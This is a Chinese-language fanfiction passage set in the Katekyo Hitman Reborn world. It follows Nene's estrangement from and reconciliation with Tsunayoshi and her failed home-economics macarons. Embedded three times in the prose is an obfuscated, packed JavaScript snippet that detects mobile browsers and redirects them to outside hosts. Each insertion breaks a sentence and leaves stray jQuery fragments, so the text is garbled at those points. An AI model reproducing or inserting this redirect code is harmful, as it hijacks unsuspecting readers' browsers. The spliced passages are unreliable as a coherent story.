她会故意凑到他耳边大声说话,转头的时候故意很用力,头发会抽到他脸上……橙花味的洗发露。 但现在,橙花味洗发露、不,祢祢的问话没有了。 …… 祢祢收拾好书包打算离开,听到一道熟悉的、柔软的声音有些踟蹰地叫出她的名字,下意识转了头,看见沢田纲吉挡在自己面前,细瘦的胳膊半抬起来挡她,手指有些不安地动着。 “……” 祢祢抿了抿唇,视线在他脸上极快的一掠,然后定到了他身后的……狱寺隼人身上。 沢田纲吉愣了愣,想到祢祢和他的事,于是下意识放下了手,看见祢祢有些冷淡的不知道朝谁点了点头,然后迅速侧身从他身旁经掠而过。 ……随着风传过来的橙花气是叫人有些怀念的熟悉味道。 第二天,沢田纲吉难得没有赖床,伴着沢田奈奈惊讶中混着欣慰的目光、Reborn意味不明的哼笑、还有碧洋琪“爱情可真是伟大”的感叹和蓝波“阿纲今天脑袋坏掉了吗”的疑惑早早出了门——朝着见崎家的方向走。 ……然后就被美佐纪告知祢祢已经提早出发了。 “祢祢很少那么早起来呢。” 这个和祢祢长得有四五分相像的女人如此叹道,“说是和同学约好到学校一起玩狼人游戏……这个‘朋友’里居然不包含阿纲你吗?话说祢祢这几天也没有到你们家吃饭呢——我想大概是因为我这几天有做她喜欢吃的虾仁烩饭吧。” “……” 沢田家昨晚吃的就是虾仁烩饭。沢田奈奈还因为他没有把祢祢带回家遗憾了好久。 ……而且,总觉得从她(美佐纪)的话里听出了幸灾乐祸的味道。 沢田纲吉觉得祢祢肯定是知道他会在昨天没堵到她后在早上重新拦截自己,所以才找了借口避开他——不,一定是这样。就像祢祢知道他会那么做一样,他也知道祢祢会这样做。 沢田纲吉本来以为现在这样已经很过分,但没想到还有更过分的在等着他。 ……本以为玩狼人游戏只是借口的他一进门就看见祢祢跟她的狐朋狗友聚在一起,真的在玩狼人游戏。 ……还拿了狼牌。正兴致勃勃地跟旁边同样拿了狼牌睁开眼的笹川京子眉目传情、不,眼神交流,手舞足蹈地商议要刀谁——也不怕挥动手臂时带起的风会惊动旁边的人。 最后指了个他记不太清名字的男生,和本来就没什么意见的笹川京子达成本来就相同的共识,对视着用力点了点头。 她今天把头发扎起来了,前段时间修短的发尾将将没过肩头,随着点头的动作摇晃着,后颈的皮肤白皙而细腻,晾在清晨的空气里……也不知道冷不冷。他下意识移开了眼,却又不由自主地重新看向她,正巧和眼里还漾着笑的女孩对上了视线。 “——” 双双顿住。 沢田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906760|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纲吉想朝她扯出个友善的笑出来,但祢祢却很快转开了眼,伴着旁白女同学“狼人请闭眼——女巫请睁眼……”的宣读声合上了眼。 “……” 沢田纲吉抿了抿唇,轻轻地走到自己的座位处坐下。 很无聊。他不想看书。于是学着祢祢往常课上发呆的模样托着腮去看窗外她口中“独一无二”的蓝色。入秋了,天高气爽,长长的尾迹云将蓝色分割贯穿。 入秋后,气温降得很厉害,几乎每过一天气温都会毫不留情地降一个度,每一天都要比前一天冷上几分。 在这样的气候中,沢田纲吉对于早起的自己感到钦佩——这种行为实在不是他这种废柴该做的。并由衷地希望今天不要扑空。 …… 清晨的教室里空寂无人,空气冰冷洁净。 祢祢身上穿着并中浅卡色的制服外套,略长的宽松袖口下露出半截苍白细瘦的手指,轻轻揪着自己的裙摆。 她今天换了更长更厚的长袜,长度几乎提到腿根,边界被垂下的裙檐遮盖模糊,只能从侧面看见些许扎眼的白。他只不小心瞟到一眼就烫到般迅速移开眼去。 “你……” 沢田纲吉又很多话想问她。你为什么躲着我?你为什么要和其他人玩?你为什么不看我的纸团?你为什么不和我一起去吃马卡龙?你为什么在游戏里要指那个男生?他有什么特别的吗…… 但他张了张嘴,却只发出一个短促的单词,那些有些无理取闹的问题被他咽下去,他抿了抿唇,有些局促地搓了搓手指,最后只轻声问了句,“你是在躲我吗?” “我……” 她的声音是轻轻的、淡淡的、迟疑不决的,语速很慢,像是在细细咀嚼那些将要被吐出的字句,“我想一个人想想……抱歉。” 空气静了几秒,她又补充:“……阿纲。” “——” ……他其实还想问些其他的的。 比如一个人静静需要交那么多朋友吗?一个人静静需要和那些人玩狼人游戏吗?需要指那个男生吗?……这么多人,根本不可以算‘一个人’吧? ……明明就是在躲我吧。 他还想要问原因,但张了张口,却只慢吞吞“哦”了声,就再也说不出其他的了。 ……她看上去明显松了口气。然后大概是意识到自己的动作有些太明显,略显心虚地抿了抿唇。朝他有些疏远的点了点头。错身而过。 或许她不想和他当朋友了。沢田纲吉想。 ……也挺好。在Reborn到来后,他身边总是有些奇怪的非日常事件发生。她不用参与进来。 沢田纲吉的忧郁在两节课后消失不见,他觉得自己还是想要和祢祢成为……朋友。 ……就先说朋友吧。 Reborn带来的那些混乱总有一天会消失,他之后也一定会回到原来平静的生活吧。 那时候……他想他还是需要祢祢的。 沢田纲吉颤了颤睫毛,又偷偷去看那边的祢祢。她正撑着下巴盯着窗外的天发呆。是今天那片独一无二的蓝。 他心中一动,觉得还是要找个时间和她聊聊的。 但很快他又没什么时间去想那些事了——在Reborn到来后,过去平静的日常就离他远去了。他最近又给狱寺山本搞了什么特训,再次让他的生活混乱到了一个新纬度。 等结束了一天劳累的争纷回到家后,沢田纲吉才记起来今天又没怎么跟祢祢说过话。而沢田奈奈已经很多次提到祢祢了,询问他是不是惹她生气了,大概是意识到这段时间都没见祢祢到家里蹭饭……不、做客。 “……” 沢田纲吉挠着头发出痛苦的哀嚎。声音有点像驴叫,很难听,被Reborn嫌弃地给了一记飞踢,摔倒在地,停顿片刻后叫得更惨了,然后见没人理又很快消停,开始盯着地砖发呆,脸上表情很可怜。 小婴儿大大的黑眼睛里大大的嫌弃,沢田纲吉听见他哼笑两声,似乎说了句‘不要紧,很快就好了’之类的话。于是立刻抬头看他,可还没等他再询问神奇的Reborn些什么问题,对方就如往常一样霸占了他的床,然后冒出了熟悉的鼻涕泡。 沢田纲吉:“…………???” 33.思考 深夜。 见崎家。 祢祢趴在床边看书。 她刚洗漱完,头发还带着些湿,但没往下滴水,祢祢也就懒得去拿吹风机了。反正一会儿就自己干了。 她看书时不怎么讲究,只要不会弄坏弄脏书,随便一个舒服的姿势就可以。 半趴着的姿势,潮湿的发贴着胳膊,让她想到雨。想到雨,她又不由自主想起狱寺隼人,再借此飘游到沢田纲吉身上。 ……有点麻烦。还是先看书吧。 她瘪了瘪嘴,手下又慢吞吞翻了一页。然后顿住。 ……那个有点像沢田纲吉的吐槽役出场了。 好烦。 祢祢有些不想看了。 正巧。 这时,卧室门被敲了敲。 祢祢没有锁门的习惯,伸手将那本不应该在今年出现的书推到被子里,随口喊了句“请进”——如她所料,美佐纪推门而入。 “诶呀……怎么又不吹头发呀。” 她有些抱怨地说道。 “……懒。” 祢祢一副有气无力的样子。 美佐纪无奈的叹了口气,道:“天转凉了,可不能再这么任性了。” 她说着,把祢祢从地毯上拉起来,推到梳妆台前坐下,然后从抽屉里取出吹风机给她吹头发。 温凉的风和美佐纪的手指,轻柔地在发丝与头皮间穿梭。 ……有点痒。祢祢忍不住缩了下肩膀。 “你跟沢田纲吉那小子怎么回事?”美佐纪轻轻扶了下她脑袋,状若寻常地开了口。 “唔……就那样呗。” 祢祢心不在焉地盯着镜子里自己泡过水后在灯光下略显苍白的下颌,一副不想多谈的样子。 美佐纪盯着她的发顶,若有所思地点了点头,很会看气氛地安静下来。房间陷入安静,只有吹风机发出的声音还响着——美佐纪一向是个很懂事的大人。 但祢祢却又开始期待她继续聊些其他的话题了。 因为一旦安静下来,她心里就会不受控制地开始想些乱七八糟的东西……居然不是刚才那本发展正盛的小说剧情,而是沢田纲吉那家伙。 ……她一点都不想去想沢田纲吉的。真的。 即使这段时间沢田纲吉身边多了很多麻烦且很不日常的人和事,祢祢也没有觉得他有多麻烦。反而是现在——在这个祢祢跟他已经很多天没有深入交流后的现在——她前所未有地觉得沢田纲吉这家伙对自己来说是一个相当麻烦的人。 可能是她对麻烦和别人的定义不大一样吧。 之前遇见的那些事,别说嫌麻烦,祢祢甚至还觉得相当有意思,给她的生活添了不少彩。那些看似和日常格格不入却又和谐相融的人、事还挺叫她喜欢的……虽然沢田纲吉看上去一点也不喜欢,一副生无可恋的样子。简直像是被人用枪指着脑袋逼着上阵似的。 明明那些异常都是从他那里起来的。 一开始祢祢是有怀疑过那些麻烦是从自己身上起来的。毕竟是她先买碰到那家奇怪的书屋、在遇见池袋恶灵男高的。 但这段时间她经历的那些事跟那些她从书屋带出来书和相机没半毛关系,也没见池袋的恶灵男高追到并盛町……说不定也来过,只是被云雀恭弥打回去了? 毕竟黑头发的改了校服,黄头发的染了头发……这些是违反风纪的吧? 不愧是云雀恭弥,真叫人安心。 那些异常,仔细想来都是在沢田纲吉第一次觉醒‘超能力’裸奔告白开始的……虽然有些有碍观瞻,但祢祢并不觉得这有什么值得讨厌的。 而沢田纲吉叫祢祢感到麻烦的点其实也相当明晰,只是她不愿意去正视罢了。 但现在的这种情况,她没办法把心思转到其他东西上,也想不出话题抛给美佐纪,于是,那个问题就不得不被她扯到脑袋正中去思考了。 祢祢觉得自己好像喜欢上沢田纲吉了。 ……这真是糟糕透了。 祢祢对这个第一个冒出的想法感到困惑与不解——明明之前喜欢上狱寺隼人甚至云雀恭弥的时候从来没有过这种想法的。 这两个无论哪一个单拎出来都要比沢田纲吉这个人称‘废柴纲’的家伙难应对吧? 说不定她其实根本不喜欢沢田纲吉。 祢祢有些犹豫的想。 这种想法,可能不过是她意识到沢田纲吉是个足够心软的人。他足够纵容她,足够不擅长拒绝。而祢祢又是他关系相当要好的朋友,如果是她提出来的,无论是什么要求,沢田纲吉拒绝的可能性都不算大……如果用绝交作为威胁的话,说不定还会再缩小些。 ……虽然不想承认,但祢祢知道自己其实是有些恶趣味的。在保证自己不会受到生命威胁的情况下,她想看到更多人的更多面。……真是够神经的。 不过这些对沢田纲吉来说都不算什么……反正他是个足够包容的人,无论她做出什么过分的事他也不会生气的吧? 祢祢想了想,觉得沢田纲吉之前在学校里被人欺负也不是没有原因的。 他那副小心翼翼、战战兢兢、看上去似乎永远也不会生气的样子实在是是太惹人心动了——想着,反正他也不会生气,不如就欺负一下吧? ……那副柔弱清纯又无助的模样,要多可怜有多可怜,要多懦弱有多懦弱,简直浑身上下都散发着一种‘请来欺负我’的动人光辉,挑逗着人的良心。 而众所周知,良心是一种很好吃的东西。祢祢的良心可是马卡龙味的,那种甜美迷人的小可爱,被忍不住吃掉也是人之常情。 所以忍不住想得寸进尺也是理所当然的……谁让沢田纲吉看着那么好欺负的。 不是她的错。嗯。 但不得不承认,沢田纲吉那种包容的气质特别吸引人。一想到自己无论做出什么过分的事都会被地方温柔地接受,就觉得他真是世界上最合自己心意的人了——所以她抛过去的感情他一定也会牢牢接住不忍心丢掉的吧? ……抱着这种想法。而她又刚经历过两段不算成功的感情,所以急需要一个可以那样包容自己的人。说不定还有些青春期的小女孩心理作祟,想证明自己不是那么没有魅力的女生。 所以这一切都是人的阴暗面在作祟。 一定是这样。嗯。 祢祢感谢自己把这些事给想清楚了,还感谢自己当时伸手打了自己两巴掌,没有做什么不清醒的事……比如把沢田纲吉扯进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他舌头打结,结结巴巴地发出声来,感觉自己暴露在冰凉空气里的脸颊在迅速升温。 “分开这几天,我想了很久……” 祢祢却依旧没有正面回答他的问题。她像是没有听到他的声音一样继续开口,说话时胸腔的震动被传递给他,让沢田纲吉不由自主地恐慌起来,害怕自己异常的心跳也会那样被她察觉。 “……觉得我果然是需要阿纲你的。” “虽然我这几天也有交到其他朋友,但他们和阿纲都不一样——阿纲你是最特别的!” 别、别说了……脸要烧起来了…… “所以……” 她抬起头,眼睛亮晶晶的,沢田纲吉不敢与她对视,眼珠无措地胡乱转动。 祢祢眼里带着轻松明媚的笑意,却略显强硬地掰着他的脑袋叫他直视自己,一字一句,认真而郑重: “——我们一定要做一辈子的好朋友!!” 沢田纲吉:“………………啊??!” 34.橡子纽扣与马卡龙 “‘啊’什么‘啊’呀!” 祢祢松开捧着他脸的手,起身。 “冷不冷呀,快起来啦!” 她语气轻快地说道,伸手将还愣着的沢田纲吉拽起来,然后拍了拍手上身上沾到的尘土沙粒,有些苦恼地低头:“早就知道穿深色的了。” 沢田纲吉下意识随着她视线的落点转移目光,看见她包裹着腿部的白色过膝长袜的膝覆盖着一层土灰,她伸手拍了几下……当然没拍干净,瘪了瘪嘴,不以为然地放下了手,抬头望他:“我们一起去学校吧!” “话说,阿纲你脸好红哦,是生病了吗?” “……没。” “那是疼吗?刚刚好像压到你了,真是抱歉呢。” “没有从你的话里听出丝毫歉意。” “……阿纲,你心情不好吗?为什么拆我台?” “……” “——前几天不是故意不理你的啦!” 祢祢侧头看他,凑近了些,一本正经:“因为在思考很严肃的事,所以需要一个人待一段时间。” “……” “那你为什么跟别人玩狼人游戏?” “啊?哪些?京子他们吗?”她心虚目移,但依旧义正言辞:“京子怎么能算外人呢!我们可是好朋友!” “我不是你的朋友?我是外人?” “之前明明一口一个挚友……呵。” “阿纲你好像怨妇哦。” “……不要转移话题。” “嗯……”她绞尽脑汁:“因为阿纲是很重要很重要的,所以会影响我的判断与决心……所以要远离。嗯。” 沢田纲吉不说话了。 “所以你最后的判断与决定是……?”半晌,他才憋出这么一句。 “是要跟阿纲做一辈子的好朋友呀。”祢祢轻松地说。 沢田纲吉警觉:“那之前是有过不再和我做朋友的念头吗?” “……”祢祢心虚地移开眼,辩解:“最近发生很多奇怪的事不是吗?美佐纪很担心我……还起过让我转学的念头呢!不过被我拒绝了!!” 此乃谎言。 美佐纪根本不知道这些。但能肯定的是,如果这些事被她知道,她会担心是一定的……所以还是先暂时不要让她知道吧。 “……那知道有这些事你也还要和我做朋友吗?” “嗯!!” “为什么?” “因为阿纲对我很重要。” “……” “如果错过的话,我说不定一辈子都交不到这么合心意的朋友了,所以才要牢牢把握——阿纲,我们要做一辈子的好朋友呀!” “……哦。” 祢祢皱眉:“你为什么这么冷淡,难道你是那种不负责任的男人吗?把我变成这样后就想抽身而去?” “……我对你做了什么啊?!不要说的这么……你绝对是又看了什么奇怪的书吧!!!” “不对……” “——那就是恋爱游戏了!”沢田纲吉抢答,“身为be结局收集器,请问你为什么如此热衷恋爱游戏呢?” 祢祢一本正经:“因为被美少女砍头的时候很爽。” 沢田纲吉:“………………” 沢田纲吉:“真是好罕见的癖好呢。” 祢祢笑了出来:“居然相信了么?好好傻哦,阿纲。” 沢田纲吉:“……因为感觉你就是会有这种喜好的奇怪家伙。” “啊,冤枉啊——你说的我好像变态一样。” 他反问:“你难道不是吗?” “你是不是还在生气呀?今天嘴巴好毒。” “这是吐槽役的共通技能——你上次是这么评价的。今天就从技能变成嘴毒了么,真是善变。” “你果然是还在生气。” “没有。” “哦,是在不高兴。” 她换了个说法。 “阿纲为什么会不高兴呢?” “……” ……她居然一副兴致勃勃的模样!! “是在撒娇吗?” 祢祢笑眯眯地凑近。 他移开头:“……你到底是怎么得出这种结论的?之前怎么不知道你有自恋到这种地步?” 人是不可能永远开心快乐的,总有伤心难过的时候,沢田纲吉当然也不可能例外。但他是个很懂事的孩子,凡事都留在心里自己调节,从来不说出来叫别人替自己担心,所以…… “这么明显的表现出来不就是想叫我哄哄你吗?这都不能算撒娇吗?真是不坦率呢。” “但没办法,谁叫你是我最好的朋友呢?”她耸了耸肩,叹道,一派宠溺模样:“这样好了——家政课给你做马卡龙好了。” “……你还有脸提马卡龙。” 沢田纲吉小声说,但祢祢看见他脸上已经有了笑。 于是她装作没听到,再接再厉:“薄荷巧克力味的怎么样?很好吃的。” “明明是自己喜欢吃吧?” “难道有汉堡或者鲔鱼味的马卡龙吗?听上去就很黑暗——或许你可以请求碧洋琪姐姐试试。我想她一定会很乐意。” “还是不要了吧……” 祢祢得意地哼笑了两声:“之前都没有尝试过做马卡龙,你可是第一个有幸成为品鉴者的人——感到荣幸吧!沢田阿纲!” 沢田纲吉:“啊,可真是荣幸呢……但是家政课不是在两天后吗?” 祢祢:“……我没记课程表,你知道的。” “阿纲!祢祢!” 二人闻声回头,看见山本武扛着棒球包小跑过来,脸上挂着轻松又开朗的笑。 “祢祢和阿纲和好了吗?”他带着笑问。 “啊!怎么能这么说呢。”祢祢不赞同地摇了摇头,一本正经:“我跟阿纲根本没有吵架,当然也就没和好这回事了。” “但是祢祢前几天好像是在躲着我们走呢。” “那是因为有其他重要的事情啦!需要我自己一个人待在。” 山本武:“什么事——唔,我可以问吗?” 祢祢:“啊,当然可以说啦……让我想想……” 沢田纲吉:“……还需要想的么。” 祢祢:“嗯!是我在向贤太郎学习写作!所以想要一个人待着。” 沢田纲吉一脸“你居然还会学这个”的惊讶表情。祢祢装作没看见,继续:“之前说过要给阿纲写一本书的——我一直说话算数!” “诶——那是什么时候的事?好像没听阿纲讲过呢。”山本武饶有兴味的样子。 “就是之前他要死掉的那天呀。” 沢田纲吉:“……说了好不吉利的话。还有,我什么时候要死了?这还是个过去式么。” 祢祢:“就是你身上长骷髅的那一天呀——唔,居然还会说话,真是不可思议的发明呢,让我更加了解阿纲了呢!如果不是它,我还不知道阿纲你——” 沢田纲吉反应过来,顿时羞愤欲死,低吼出声:“不要再说了!!” 祢祢耸耸肩,给了山本武一个‘你懂的’的眼神:“总之就是那次,我许诺他写一本名叫《我的挚友余命两小时》的书送给他。” 沢田纲吉:“……我以为你是在开玩笑。” 祢祢小声:“我就是在开玩笑呀——难不成要真的把你国中还不敢在夜里一个人上厕所的事写到书里给别人看吗?好丢人的。” 沢田纲吉:“…………” “不过没关系。”她接着安抚说:“我不会嫌弃你的。” “……一点也没有被安慰到。” “祢祢真是幽默呢。”山本武哈哈笑了两声,又侧头问他们刚刚在说什么悄悄话。 沢田纲吉:……你刚刚都听到了为什么还要问啊?! 祢祢一本正经,没回悄悄话的问题,也不知道是故意的还是理解错了:“刚刚在说家政课的事,我即将尝试第一次马卡龙制作。” 山本武也没追究:“诶——那可以给我吃吗?” 沢田纲吉顿时紧张地看向她。 “当然可以。”祢祢毫无所觉,“反正我会做很多,到时候也可以给狱寺送一些——等着接受甜品天才的震撼吧!” “哈哈哈好哦。” ……但是。 祢祢的第一次马卡龙制作尝试—— 大失败!! 起泡,空心,开裂,没有裙边…… 祢祢神色空洞,脑袋顶上开始冒黑烟:“这根本不是马卡龙……这只是一盘考坏的曲奇……对……没错……就是这样……” 沢田纲吉:“……有用蛋白霜做的曲奇吗?” “有的。” 祢祢坚定地点了点头,一本正经地说:“那就是著名的‘Macaron曲奇’。口味差劲至极,同时侮辱了马卡龙和曲奇。” 沢田纲吉:“……根本没有那种东西吧?!” “有的——你难道没有听说过‘相信既存在’吗?阿纲真是孤陋寡闻。” “……那种话根本不是用在这种情况的吧?!!” 总之,祢祢失败了。 但…… “但我们不能浪费食物。”她认真的说,将那盘惨不忍睹的马卡龙饼推到他们面前:“你们,把它们全部解决——这是这次任务的报酬。” 她严肃地将手伸到口袋里掏了掏……掏出了一枚……呃,看上去很幼稚的橡子纽扣。 “……” 狱寺隼人大发雷霆:“就用这种东西来打发十代目吗?!彭格列不会接这么廉价的任务!!!” 经过几天的重建,他们的关系似乎回到了原点。但如果不小心对上视线,他还是会下意识回避,祢祢觉得他一定是看在沢田纲吉的面子上才愿意跟自己成为表面朋友的。 说不定他根本没把她当朋友,至是怕沢田纲吉为难。 这没什么大不了的,反正她也不想让阿纲为难。时间是很奇妙的魔法,相信用不了多久,她和狱寺隼人也是可以像山本武那样成为好朋友的。 虽然这么想着,但每当祢祢看见狱寺隼人的时候依旧会感到有些难过。 这种难过的感觉在她看见云雀恭弥的时候也偶尔出现。 淡淡的,薄薄的,像缕轻飘飘的烟气,一会儿就散了。然后在再次相遇的时候重新聚起来,然后又再次散掉。 她仔细摸索了一下那缕烟,没搞清楚,它在她仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14938191|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看前就散了个干净。于是那天,不信邪的祢祢在学校里横冲直撞,凭一己之力在一天之内偶遇了好几次云雀恭弥(这件事如果发生在上学期她一定高兴死),面对对方投来的询问视线,也不说话,就那么站着,神色莫名的盯着人看。 如此几次下来,对方明显不耐烦,祢祢看见他外套下的手抬了抬,生怕对方举拐抽自己,连忙跑了。 于是她又开始每隔几分钟就跑去拜访(骚扰)狱寺隼人,也没讲什么有用的东西,说两句就躲出去,然后皱眉思索片刻又跑回去,扯着他聊些不着边际的东西,最后成功将对方给惹恼了。 虽然沢田纲吉又一副心累的样子,但祢祢还挺有成就感的。 叫你不理人,我烦死你。她得意的想,哼笑了两声,被狱寺隼人听到又炸了,举着爆竹就想冲上来,然后再次被沢田纲吉拦住。 阿纲,真叫人有安全感啊(感叹)。 不过折腾了大半天,她还是没搞懂那缕烟气般的忧郁感觉是什么东西,反而把它给整没了。就算反反复复地去‘偶遇’云雀恭弥和狱寺隼人也再也寻思不着了。祢祢想这大概就是传说中的脱敏治疗。 ……所以它脱了个什么? 她仔细想了想,觉得好像是把自己从失恋的愁绪里给拖出来了。 而且好像也把她跟云雀恭弥和狱寺隼人的关系给重建了一番。云雀恭弥怎么想她不知道,不过她觉得自己和狱寺隼人大概是算得上普通友人了。 这样也挺好的。他当不成自己的宝石小猫,当朋友也不错。 “不准喊那个绰号!难听死了!!” “明明很好听。”祢祢反驳:“宝石和小猫都是那么的惹人喜欢,这是夸奖的话,狱寺你也太容易害羞了吧?” “谁害羞了?!再胡说八道就杀了你!!” “唉。” 祢祢一副“你说什么就是什么吧谁让我们是朋友真拿你没办法”的宠溺神色,无奈地摇了摇头,转移话题:“那让我来解决这些烤坏的马卡龙……呃……曲奇吧!” 沢田纲吉:“……刚刚是说‘马卡龙’了吧?” 祢祢很自然的忽略了他的话:“这次委托的报酬……如你们所见,是这个。” 她将手掌伸平,托举着那枚橡子纽扣缓缓向上,直到与视线持平,嘴唇抿紧,表情严肃,然后以肘画半圆,将纽扣展示给面前几人看。 沢田纲吉定眼看了半天,但那枚纽扣怎么看都相当平平无奇。 于是他迟疑着问:“所以……它是有什么特殊之处吗?” “那是当然。”祢祢信誓旦旦,“这可不是一枚普通橡子纽扣,这可是承载邪神之魂的封印法器。” “……啊?” “邪神的灵魂被封印在里面。” “…………” “……你们为什么不说话?我没有在开玩笑!!我说的都是实话!!!” 沢田纲吉小小声:“……像吗?” “真的吗?”山本武捏着下巴,神情严肃地凑近了些看。 他弯下腰,祢祢看见他后颈的皮肤,颜色略深,看上去很温暖很健康,感觉在冬天把手贴上去的话会很舒服。 “是真的。” 她不走心地回答,面上依旧是郑重其事的样子,顺势将手又向上抬了几分,叫他好更清楚的看清,“邪神是个妄想统治世界、让所有人都做祂的奴隶的混蛋,后来被勇者封印了——就在这枚看上去平平无奇纽扣里。” “真是神奇啊……”他煞有其事地点了点头,问:“那这么危险的东西为什么会在祢祢手里呢?” “……” 祢祢顿了顿,眼神在四周扫视了一圈,像是在判断是否安全,然后才压低声音,凑近:“因为我是勇者转世呀。” “哦!好厉害!!” 沢田纲吉:“……很不可信好吧。” “对吧?”他扭头,想要寻求认同感,却看见狱寺隼人也正一脸严肃地盯着祢祢手上怎么看都很普通的橡子纽扣看。 沢田纲吉:“…………” “所以这个是封印的入口么。”山本武伸手指了指,他说话时吐息若有若无地沾上她的手指,温温热热的,祢祢下意识蜷了蜷手。 “嗯……?”她疑发出一声疑惑的气音,目光移过去,看见他指的是上面穿针固定的那两个孔洞。 ……想象力可真大,她佩服的想,但口下依旧斩钉截铁:“是的。” “如果把这枚纽扣从中心掰开就会破坏封印的平衡,邪神就会被释放出来,再次实行统治世界的计划——祂会杀很多人,然后在人类的脑袋里植入丝线,教会他们制作马卡龙的方法,日夜不停地为祂制作马卡龙,做不好就会被杀掉,还会被骂‘废柴’。” “……” 沢田纲吉:“……这个邪神是马卡龙邪神吗??” 怎么这么喜欢吃马卡龙?? “当然,”祢祢没理他,继续说:“作为勇者转世的我,届时也会觉醒勇者之力,会保护你们,不会让你们受到祂的残害——补充一下,祂最喜欢吃的是薄荷巧克力味。” 沢田纲吉:“………………” 这个马卡龙邪神绝对是叫‘见崎祢祢’吧?! 35.如何处理马卡龙君的尸体 大概是因为最后一句而暴露了意图,几人之中除了山本武,都对祢祢的话表现出了不信任。 ……虽然沢田纲吉一开始就没有信的样子。 于是祢祢只好又说:“虽然它里面并没有封印着邪神,但它依旧是一枚非同一般的纽扣。” 她抬眼迅速看了眼沢田纲吉,看见他一副‘我就听你编’看着她,看上去不大相信……不,是很不相信的样子。 ……虽然确实是编的,但这样还是叫人有些不开心,多少配合一下呀!! 像是看出了她眼中的意图,他终于开了口:“啊!真的吗?!”用的是捧读的语气,听着特别假。 但没关系,祢祢只需要他起个头就好了。 “当然是真的了。” 她信誓旦旦的说:“这枚看起来平平无奇橡子纽扣其实不是橡子纽扣。” “——这是一枚吻。” 沢田纲吉:“………啊?” “……阿纲真是一点也没有童心呢。是已经长成肮脏的大人了么?” “?怎么和这个联系在一起了?” 祢祢摇头不语,但目光谴责,沢田纲吉差点以为自己真的做了什么不可饶恕的事。 倒是狱寺隼人接上了她的脑回路,开口解释了一番。 祢祢赞许地点点头,末了踏着他的尾音,学着老师的语气说:“狱寺君的答案非常正确——沢田君连彼得·潘都记不住了么?真是遗憾……我将在下次考试扣你18分,为什么扣分?因为你的童年已经离你远去了!!!” 沢田纲吉:“……这是什么奇怪的扣分规律?!是被允许存在的吗?!而且那么久远古老的记忆谁能这么快就回想起来啊?!” “狱寺呀。” “……” 她补充:“还有我。” “…………” “所以你们到底接不接任务啦?!报酬可是这个哦!一枚吻!” 狱寺隼人问:“这东西有什么用?” 祢祢:“呃……说不定能像故事里那样救你一命?” “笨蛋!那根本不可能,哪个杀手的武器会那么低级!!” 祢祢皱眉,有些不高兴:“……狱寺你还真是一点也不捧场呢,我以为我们至少已经算是朋友了。” “谁跟你是朋友!!!” 直到最后,那盘被烤坏的‘曲奇’也没有被解决,祢祢的‘吻’也没有被送出去。 笹川京子半途把她拉过去,她们那组做的是真曲奇,美味、香甜……但还是好想吃马卡龙哦…… 她朝笹川京子投以渴望的注视:“马卡龙配红茶是仙品。” 笹川京子愣了愣,笑了起来:“虽然之前没有做过……但为了祢祢酱,我可以尝试哦。” 祢祢露出感动的神情,但口下仍推辞:“哎呀!怎么能麻烦京子你呢!我自己也可以完成的……到时候一定会邀请你品尝哒!” “好呀。”她笑得特别好看,真不愧是并盛偶像,“到时候我可以给祢祢打下手哦。” “京子酱……!” 祢祢夸张地捂住心口,觉得世界上有笹川京子真是世界的福气。 太完美了!京子酱!! 祢祢感受到一种被变态校医夏马尔附身般的冲动——想要扑上去和完美的并盛偶像贴贴。她犹豫了一下,觉得这没什么好犹豫的,于是就兴高采烈地扑过去挂到了笹川京子的肩膀上。动作神似前几天堵截沢田纲吉发表好朋友宣言时的模样。 余光中,她看见沢田纲吉不太自然的神色,动作僵了下,但又想起方才他不捧场的举动,眼珠一动,又软绵绵地往笹川京子怀里钻了钻,黏糊糊开口:“呀!京子酱,我贴你贴得这么近……你的追求者不会不高兴吧?” “追求者……?” “对哦,就像之前的持田跟阿纲那样,我会不会也会被那样欺负呀?” 笹川京子皱起眉,一副正在思索的模样,特别可爱。祢祢又偷偷瞄一眼身后的沢田纲吉,果然看见他脸色不太好。 好玩儿。 她眯着眼偷笑了一会儿。 “好啦!不需要去想这些事啦!我会保护好自己的——话说京子你好香哦,沐浴露是哪个牌子的?” “啊!是……” 京子做的曲奇好吃,全部吃光。 烤坏的‘曲奇’也不是没人动,沢田纲吉和山本武都有尝,连狱寺隼人都皱着眉捡了两片吃。 “不就是有点丑吗?又没下毒,你这份视死如归的模样还真是叫人既感动又火大。”祢祢抱怨说。 沢田纲吉:“……但是你一口也没吃诶。” 祢祢:“拆女士台的男人可是不受女孩子欢迎的哦。” “……” “阿纲,你不说话的样子其实也很可爱,请继续保持。” “……但你上次明明说的是‘张口就是吐槽的阿纲真是可爱’,好善变。” 祢祢惊呼:“啊!又抑制不住吐槽役本能了呢!!” “……” 沢田纲吉仍然没有辞去吐槽役的工作,并且在之后的旅行中持续发光发热。 祢祢拍掌决定:“我们把这些拿去喂狗吧!” 沢田纲吉:“?你什么时候有这种爱好了??” 她说:“现在刚长出来的,因为狗狗很可爱嘛。” 